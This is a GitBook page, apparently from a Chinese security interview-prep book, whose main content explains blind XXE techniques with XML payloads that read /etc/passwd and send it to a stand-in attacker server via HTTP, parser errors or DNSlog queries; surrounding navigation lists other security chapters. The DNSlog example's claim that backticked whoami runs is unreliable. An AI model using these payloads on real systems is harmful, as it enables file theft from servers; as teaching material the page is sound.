26.1 工控场景的入侵检测与普通场景入侵检测的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.2" data-path="../Chapter26/26-2.html">
|
|
|
|
<a href="../Chapter26/26-2.html">
|
|
|
|
|
|
26.2 讲讲 Linux 平台的漏洞缓解机制
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.3" data-path="../Chapter26/26-3.html">
|
|
|
|
<a href="../Chapter26/26-3.html">
|
|
|
|
|
|
26.3 NX 是怎么绕过的
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.4" data-path="../Chapter26/26-4.html">
|
|
|
|
<a href="../Chapter26/26-4.html">
|
|
|
|
|
|
26.4 讲讲 Linux 平台的 ELF 文件结构
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.5" data-path="../Chapter26/26-5.html">
|
|
|
|
<a href="../Chapter26/26-5.html">
|
|
|
|
|
|
26.5 讲讲 Windows 平台的 PE 文件结构
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.6" data-path="../Chapter26/26-6.html">
|
|
|
|
<a href="../Chapter26/26-6.html">
|
|
|
|
|
|
26.6 讲讲 ASLR 怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.7" data-path="../Chapter26/26-7.html">
|
|
|
|
<a href="../Chapter26/26-7.html">
|
|
|
|
|
|
26.7 函数的调用约定有哪些，区别是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.8" data-path="../Chapter26/26-8.html">
|
|
|
|
<a href="../Chapter26/26-8.html">
|
|
|
|
|
|
26.8 fuzzing 主要是用来干嘛
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.9" data-path="../Chapter26/26-9.html">
|
|
|
|
<a href="../Chapter26/26-9.html">
|
|
|
|
|
|
26.9 对 Windows 平台的漏洞和保护机制了解多少
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.10" data-path="../Chapter26/26-10.html">
|
|
|
|
<a href="../Chapter26/26-10.html">
|
|
|
|
|
|
26.10 对比一下 QEMU 模式的 Fuzzing 和源码模式的 Fuzzing
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.11" data-path="../Chapter26/26-11.html">
|
|
|
|
<a href="../Chapter26/26-11.html">
|
|
|
|
|
|
26.11 说说 QEMU 模式的动态插桩怎么实现的，有什么优缺点
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.12" data-path="../Chapter26/26-12.html">
|
|
|
|
<a href="../Chapter26/26-12.html">
|
|
|
|
|
|
26.12 fuzz 普通程序和数据库有哪些不同点
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.13" data-path="../Chapter26/26-13.html">
|
|
|
|
<a href="../Chapter26/26-13.html">
|
|
|
|
|
|
26.13 说说 AFL++ 和 AFL 有哪些不同
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.14" data-path="../Chapter26/26-14.html">
|
|
|
|
<a href="../Chapter26/26-14.html">
|
|
|
|
|
|
26.14 怎么给 AFL 做适配去 fuzz 数据库
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.15" data-path="../Chapter26/26-15.html">
|
|
|
|
<a href="../Chapter26/26-15.html">
|
|
|
|
|
|
26.15 介绍一下 fuzz 的流程，从选取目标开始
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.16" data-path="../Chapter26/26-16.html">
|
|
|
|
<a href="../Chapter26/26-16.html">
|
|
|
|
|
|
26.16 讲一下 AFL 的插桩原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.17" data-path="../Chapter26/26-17.html">
|
|
|
|
<a href="../Chapter26/26-17.html">
|
|
|
|
|
|
26.17 怎么选择 fuzz 测试点
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.18" data-path="../Chapter26/26-18.html">
|
|
|
|
<a href="../Chapter26/26-18.html">
|
|
|
|
|
|
26.18 哪些漏洞可以用 fuzz 检测到
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.27.19" data-path="../Chapter26/26-19.html">
|
|
|
|
<a href="../Chapter26/26-19.html">
|
|
|
|
|
|
26.19 符号执行是如何做约束求解的
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28" data-path="../Chapter27/">
|
|
|
|
<a href="../Chapter27/">
|
|
|
|
|
|
27. AI 安全
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.28.1" data-path="../Chapter27/27-1.html">
|
|
|
|
<a href="../Chapter27/27-1.html">
|
|
|
|
|
|
27.1 介绍下 SVM
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.2" data-path="../Chapter27/27-2.html">
|
|
|
|
<a href="../Chapter27/27-2.html">
|
|
|
|
|
|
27.2 介绍下 KNN
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.3" data-path="../Chapter27/27-3.html">
|
|
|
|
<a href="../Chapter27/27-3.html">
|
|
|
|
|
|
27.3 卷积神经网络介绍
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.4" data-path="../Chapter27/27-4.html">
|
|
|
|
<a href="../Chapter27/27-4.html">
|
|
|
|
|
|
27.4 莱文斯坦距离
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.5" data-path="../Chapter27/27-5.html">
|
|
|
|
<a href="../Chapter27/27-5.html">
|
|
|
|
|
|
27.5 倒排索引
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.6" data-path="../Chapter27/27-6.html">
|
|
|
|
<a href="../Chapter27/27-6.html">
|
|
|
|
|
|
27.6 搜索引擎的算法有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.7" data-path="../Chapter27/27-7.html">
|
|
|
|
<a href="../Chapter27/27-7.html">
|
|
|
|
|
|
27.7 了解 TF-IDF 文档匹配算法吗
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.8" data-path="../Chapter27/27-8.html">
|
|
|
|
<a href="../Chapter27/27-8.html">
|
|
|
|
|
|
27.8 SGD 和 Adam 的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.9" data-path="../Chapter27/27-9.html">
|
|
|
|
<a href="../Chapter27/27-9.html">
|
|
|
|
|
|
27.9 如何缩减模型的检测时延
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.10" data-path="../Chapter27/27-10.html">
|
|
|
|
<a href="../Chapter27/27-10.html">
|
|
|
|
|
|
27.10 如何降低模型的误报率
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.28.11" data-path="../Chapter27/27-11.html">
|
|
|
|
<a href="../Chapter27/27-11.html">
|
|
|
|
|
|
27.11 如何找攻击样本
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.29" data-path="../Chapter28/">
|
|
|
|
<a href="../Chapter28/">
|
|
|
|
|
|
28. 密码学安全
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.29.1" data-path="../Chapter28/28-1.html">
|
|
|
|
<a href="../Chapter28/28-1.html">
|
|
|
|
|
|
28.1 RSA 算法原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.29.2" data-path="../Chapter28/28-2.html">
|
|
|
|
<a href="../Chapter28/28-2.html">
|
|
|
|
|
|
28.2 AES 算法原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.29.3" data-path="../Chapter28/28-3.html">
|
|
|
|
<a href="../Chapter28/28-3.html">
|
|
|
|
|
|
28.3 说一下非对称加密算法的加密过程
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.29.4" data-path="../Chapter28/28-4.html">
|
|
|
|
<a href="../Chapter28/28-4.html">
|
|
|
|
|
|
28.4 有哪些了解过的非对称加密算法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.29.5" data-path="../Chapter28/28-5.html">
|
|
|
|
<a href="../Chapter28/28-5.html">
|
|
|
|
|
|
28.5 栅栏密码的原理是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.29.6" data-path="../Chapter28/28-6.html">
|
|
|
|
<a href="../Chapter28/28-6.html">
|
|
|
|
|
|
28.6 Padding Oracle Attack 讲讲
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30" data-path="../Chapter29/">
|
|
|
|
<a href="../Chapter29/">
|
|
|
|
|
|
29. 区块链安全
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.30.1" data-path="../Chapter29/29-1.html">
|
|
|
|
<a href="../Chapter29/29-1.html">
|
|
|
|
|
|
29.1 说说交易所
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30.2" data-path="../Chapter29/29-2.html">
|
|
|
|
<a href="../Chapter29/29-2.html">
|
|
|
|
|
|
29.2 讲一讲区块链逆向函数涉及到的接收参数的指令集
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30.3" data-path="../Chapter29/29-3.html">
|
|
|
|
<a href="../Chapter29/29-3.html">
|
|
|
|
|
|
29.3 说说重入漏洞
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30.4" data-path="../Chapter29/29-4.html">
|
|
|
|
<a href="../Chapter29/29-4.html">
|
|
|
|
|
|
29.4 在 DeFi 项目中建立了各种各样的经济模型，怎样才能找出可能存在的漏洞
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30.5" data-path="../Chapter29/29-5.html">
|
|
|
|
<a href="../Chapter29/29-5.html">
|
|
|
|
|
|
29.5 libsnark 核心是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30.6" data-path="../Chapter29/29-6.html">
|
|
|
|
<a href="../Chapter29/29-6.html">
|
|
|
|
|
|
29.6 truffle、solidity 了解吗
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30.7" data-path="../Chapter29/29-7.html">
|
|
|
|
<a href="../Chapter29/29-7.html">
|
|
|
|
|
|
29.7 智能合约的鉴权、公私密钥
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.30.8" data-path="../Chapter29/29-8.html">
|
|
|
|
<a href="../Chapter29/29-8.html">
|
|
|
|
|
|
29.8 数字钱包的身份认证
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.31" data-path="../Chapter30/">
|
|
|
|
<a href="../Chapter30/">
|
|
|
|
|
|
30. 云安全
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.31.1" data-path="../Chapter30/30-1.html">
|
|
|
|
<a href="../Chapter30/30-1.html">
|
|
|
|
|
|
30.1 控制了一台云主机但没有连接内网也没有云内网，该如何利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.32" data-path="../Chapter31/">
|
|
|
|
<a href="../Chapter31/">
|
|
|
|
|
|
31. APP 安全
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.32.1" data-path="../Chapter31/31-1.html">
|
|
|
|
<a href="../Chapter31/31-1.html">
|
|
|
|
|
|
31.1 安卓系统如何进行 RCE，有什么思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.32.2" data-path="../Chapter31/31-2.html">
|
|
|
|
<a href="../Chapter31/31-2.html">
|
|
|
|
|
|
31.2 给一个移动端的 APP，已知服务端是 cloud 环境有什么思路利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
<li class="divider"></li>
|
|
|
|
<li>
|
|
<a href="https://www.gitbook.com" target="blank" class="gitbook-link">
|
|
Published with GitBook
|
|
</a>
|
|
</li>
|
|
</ul>
|
|
|
|
|
|
</nav>
|
|
|
|
|
|
</div>
|
|
|
|
<div class="book-body">
|
|
|
|
<div class="body-inner">
|
|
|
|
|
|
|
|
<div class="book-header" role="navigation">
|
|
|
|
|
|
<!-- Title -->
|
|
<h1>
|
|
<i class="fa fa-circle-o-notch fa-spin"></i>
|
|
<a href=".." >11.2 XXE 盲注思路</a>
|
|
</h1>
|
|
</div>
|
|
|
|
|
|
|
|
|
|
<div class="page-wrapper" tabindex="-1" role="main">
|
|
<div class="page-inner">
|
|
|
|
<section class="normal markdown-section">
|
|
|
|
<h3 id="xxe-盲注思路">XXE 盲注思路</h3>
|
|
<p><strong>1. 基础的带外请求（OOB）</strong></p>
|
|
<p>这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞，即使没有回显</p>
|
|
<ul>
|
|
<li><p><strong>攻击步骤：</strong></p>
|
|
<ol>
|
|
<li><p><strong>准备攻击服务器：</strong> 搭建一个 Web 服务器（例如使用 Python 的 <code>SimpleHTTPServer</code>）或利用<strong>DNSlog</strong>平台</p>
|
|
</li>
|
|
<li><p><strong>构造恶意 XML 实体：</strong></p>
|
|
<pre><code class="lang-xml"><?xml version="1.0"?>
|
|
<!DOCTYPE a [
|
|
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
|
|
%p1;
|
|
]>
|
|
<test></test>
|
|
</code></pre>
|
|
</li>
|
|
<li><p><strong>发送请求：</strong> 将上述 XML 作为请求体发送到目标服务器</p>
|
|
</li>
|
|
<li><p><strong>确认存在漏洞：</strong> 如果你的服务器收到了来自目标 IP 的 <code>GET /test</code> 请求，就说明服务器存在 XXE 漏洞</p>
|
|
</li>
|
|
</ol>
|
|
</li>
|
|
</ul>
|
|
<p><strong>2. 利用带外请求获取文件内容</strong></p>
|
|
<p>确认漏洞存在后，下一步就是尝试读取服务器上的文件</p>
|
|
<ul>
|
|
<li><p><strong>攻击步骤：</strong></p>
|
|
<ol>
|
|
<li><p><strong>构造恶意 DTD 文件：</strong> 在你的攻击服务器上，创建一个 DTD 文件（例如 <code>evil.dtd</code>），内容如下：</p>
|
|
<pre><code class="lang-xml"><!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">
|
|
</code></pre>
|
|
</li>
|
|
<li><p><strong>构造主 XML 请求：</strong></p>
|
|
<pre><code class="lang-xml"><?xml version="1.0"?>
|
|
<!DOCTYPE a [
|
|
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
|
|
%p1;
|
|
%send;
|
|
]>
|
|
<test></test>
|
|
</code></pre>
|
|
</li>
|
|
<li><p><strong>发送请求：</strong></p>
|
|
<ul>
|
|
<li>当服务器解析主 XML 文件时，它会首先请求 <code>evil.dtd</code></li>
|
|
<li>解析 <code>evil.dtd</code> 后，它会读取 <code>file:///etc/passwd</code> 的内容，并将其作为 <code>%file</code> 实体的值</li>
|
|
<li>最后，它会请求 <code>%send</code> 实体，将文件内容作为 <code>GET</code> 参数发送到你的服务器</li>
|
|
</ul>
|
|
</li>
|
|
<li><p><strong>接收数据：</strong> 你会在你的服务器日志中看到类似 <code>GET /?data=root:x:0:0:root:/root:/bin/bash...</code> 的请求，从而获取 <code>/etc/passwd</code> 的内容</p>
|
|
</li>
|
|
</ol>
|
|
</li>
|
|
</ul>
|
|
<p><strong>3. 利用参数实体获取错误信息</strong></p>
|
|
<p>当无法通过 HTTP GET 请求直接传输数据时，可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤</p>
|
|
<ul>
|
|
<li><p><strong>攻击步骤：</strong></p>
|
|
<ol>
|
|
<li><p><strong>构造恶意 DTD 文件：</strong> 在你的服务器上创建 DTD 文件，内容如下：</p>
|
|
<pre><code class="lang-xml"><!ENTITY % p1 "
|
|
<!ENTITY &#x25; oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
|
|
">
|
|
</code></pre>
|
|
</li>
|
|
<li><p><strong>构造主 XML 请求：</strong></p>
|
|
<pre><code class="lang-xml"><?xml version="1.0"?>
|
|
<!DOCTYPE root [
|
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
|
|
%dtd;
|
|
%p1;
|
|
%oob;
|
|
]>
|
|
<root></root>
|
|
</code></pre>
|
|
</li>
|
|
<li><p><strong>发送请求：</strong></p>
|
|
<ul>
|
|
<li>服务器解析主 XML 时，会首先加载 <code>evil.dtd</code></li>
|
|
<li>然后，它会尝试解析 <code>%p1</code>，其中包含 <code>%oob</code> 的定义</li>
|
|
<li>由于 <code>%oob</code> 实体引用了 <code>%file</code>，而 <code>%file</code> 是一个文件内容，当 XML 解析器尝试将其解析为 URL 时，会因为语法错误而失败，并抛出错误信息</li>
|
|
</ul>
|
|
</li>
|
|
<li><p><strong>这种方法的关键在于，某些 XML 解析器会把完整的错误信息（包括外部实体的内容）带回给客户端，或者将其写入服务器日志。</strong> 虽然不能直接从响应中看到，但可以利用这个特性进行注入</p>
|
|
</li>
|
|
</ol>
|
|
</li>
|
|
</ul>
|
|
<p><strong>4. 利用 DNSlog 获取数据</strong></p>
|
|
<p>当目标服务器无法出网，或者 HTTP 协议被严格过滤时，DNSlog 是一个非常好的选择</p>
|
|
<ul>
|
|
<li><p><strong>攻击步骤：</strong></p>
|
|
<ol>
|
|
<li><p><strong>准备 DNSlog 平台：</strong> 获取一个 DNSlog 域名，例如 <code>hacker.dnslog.cn</code></p>
|
|
</li>
|
|
<li><p><strong>构造 XML 请求：</strong></p>
|
|
<pre><code class="lang-xml"><?xml version="1.0"?>
|
|
<!DOCTYPE a [
|
|
<!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
|
|
%p1;
|
|
]>
|
|
<test></test>
|
|
</code></pre>
|
|
</li>
|
|
<li><p><strong>发送请求：</strong></p>
|
|
<ul>
|
|
<li>服务器解析 XML 时，会尝试解析 <code>whoami</code> 命令的输出，并将其作为子域名，向 <code>hacker.dnslog.cn</code> 发起 DNS 查询</li>
|
|
</ul>
|
|
</li>
|
|
<li><p><strong>查看结果：</strong> 你会在 DNSlog 平台的日志中看到类似 <code>www-data.hacker.dnslog.cn</code> 的查询记录，从而获取到 <code>whoami</code> 命令的输出 </p>
|
|
</li>
|
|
</ol>
|
|
</li>
|
|
</ul>
|
|
<footer class="page-footer"><span class="copyright">Copyright © 版权信息 all right reserved，powered by Gitbook</span><span class="footer-modification">该文件修订时间：
|
|
2025-09-23 01:23:25
|
|
</span></footer>
|
|
|
|
</section>
|
|
|
|
</div>
|
|
</div>
|
|
|
|
</div>
|
|
|
|
|
|
|
|
<a href="11-1.html" class="navigation navigation-prev " aria-label="Previous page: 11.1 XXE 漏洞利用方式">
|
|
<i class="fa fa-angle-left"></i>
|
|
</a>
|
|
|
|
|
|
<a href="11-3.html" class="navigation navigation-next " aria-label="Next page: 11.3 PCDATA 和 CDATA 的区别">
|
|
<i class="fa fa-angle-right"></i>
|
|
</a>
|
|
|
|
|
|
|
|
</div>
|
|
|
|
<script>
|
|
var gitbook = gitbook || [];
|
|
gitbook.push(function() {
|
|
gitbook.page.hasChanged({"page":{"title":"11.2 XXE 盲注思路","level":"1.12.2","depth":2,"next":{"title":"11.3 PCDATA 和 CDATA 的区别","level":"1.12.3","depth":2,"path":"Chapter11/11-3.md","ref":"Chapter11/11-3.md","articles":[]},"previous":{"title":"11.1 XXE 漏洞利用方式","level":"1.12.1","depth":2,"path":"Chapter11/11-1.md","ref":"Chapter11/11-1.md","articles":[]},"dir":"ltr"},"config":{"gitbook":"*","theme":"default","variables":{},"plugins":["-lunr","-search","expandable-chapters-small","splitter","back-to-top-button","tbfed-pagefooter","-highlight"],"pluginsConfig":{"hide-element":{"elements":[".gitbook-link"]},"tbfed-pagefooter":{"copyright":"Copyright © 版权信息","modify_label":"该文件修订时间：","modify_format":"YYYY-MM-DD HH:mm:ss"},"expandable-chapters-small":{},"splitter":{},"back-to-top-button":{},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false}},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56}},"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"}},"file":{"path":"Chapter11/11-2.md","mtime":"2025-09-22T17:23:25.304Z","type":"markdown"},"gitbook":{"version":"3.2.3","time":"2025-11-08T12:35:01.716Z"},"basePath":"..","book":{"language":""}});
|
|
});
|
|
</script>
|
|
</div>
|
|
|
|
|
|
<script src="../gitbook/gitbook.js"></script>
|
|
<script src="../gitbook/theme.js"></script>
|
|
|
|
|
|
<script src="../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js"></script>
|
|
|
|
|
|
|
|
<script src="../gitbook/gitbook-plugin-splitter/splitter.js"></script>
|
|
|
|
|
|
|
|
<script src="../gitbook/gitbook-plugin-back-to-top-button/plugin.js"></script>
|
|
|
|
|
|
|
|
<script src="../gitbook/gitbook-plugin-sharing/buttons.js"></script>
|
|
|
|
|
|
|
|
<script src="../gitbook/gitbook-plugin-fontsettings/fontsettings.js"></script>
|
|
|
|
|
|
|
|
</body>
|
|
</html>
|
|
|